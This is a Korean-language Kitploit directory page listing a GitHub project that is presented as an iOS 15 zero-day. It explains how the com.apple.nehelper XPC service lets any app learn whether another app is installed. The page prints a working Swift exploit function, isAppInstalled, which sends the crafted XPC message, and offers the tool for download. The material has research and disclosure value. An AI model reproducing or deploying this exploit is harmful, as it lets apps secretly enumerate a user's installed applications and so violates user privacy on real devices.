Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ios-nehelper-enum-apps-0day — iOS 15 0-day exploit (still works in 15.0.2) | Kitploit
도구/GitHubGitHub/illusionofchaos/ios-nehelper-enum-apps-0day
iOS SecurityVulnerability AnalysisExploitationMobile App PentestingInformation Gathering
GitHubillusionofchaos/ios-nehelper-enum-apps-0day

ios-nehelper-enum-apps-0day

iOS 15 0-day exploit (still works in 15.0.2)

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트
171544년 전Kitploit 검토 완료

nehelper 설치된 앱 열거 0-day (iOS 15.0)

Private API를 직접 사용하지 않도록 이 코드를 업데이트했습니다. 자세한 내용은 제 블로그 게시물에서 읽어보세요. 하지만 이는 이제 이 코드가 iOS 버전별로 다르고, 기기 모델별로도 다를 수 있음을 의미합니다. 따라서 기기에서 작동하지 않으면 c.c 파일의 오프셋을 다시 계산하고 업데이트하세요. 원본 코드는 direct 브랜치에서 찾을 수 있습니다.

이 취약점을 통해 사용자가 설치한 모든 앱은 bundle ID가 주어지면 해당 앱이 기기에 설치되어 있는지 확인할 수 있습니다.

XPC 엔드포인트 "com.apple.nehelper"에는 모든 앱이 접근할 수 있는 메서드가 있으며, 이 메서드는 bundle ID를 매개변수로 받아 일치하는 bundle ID를 가진 앱이 기기에 설치된 경우 일부 캐시 UUID를 포함한 배열을 반환하고, 그렇지 않으면 빈 배열을 반환합니다. 이는 /usr/libexec/nehelper의 -[NEHelperCacheManager onQueueHandleMessage:]에서 발생합니다.

root@kitploit:~
func isAppInstalled(bundleId: String) -> Bool {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
    xpc_dictionary_set_uint64(xdict, "cache-command", 3)
    xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
        return true
    }
    return false
}
도구 다운로드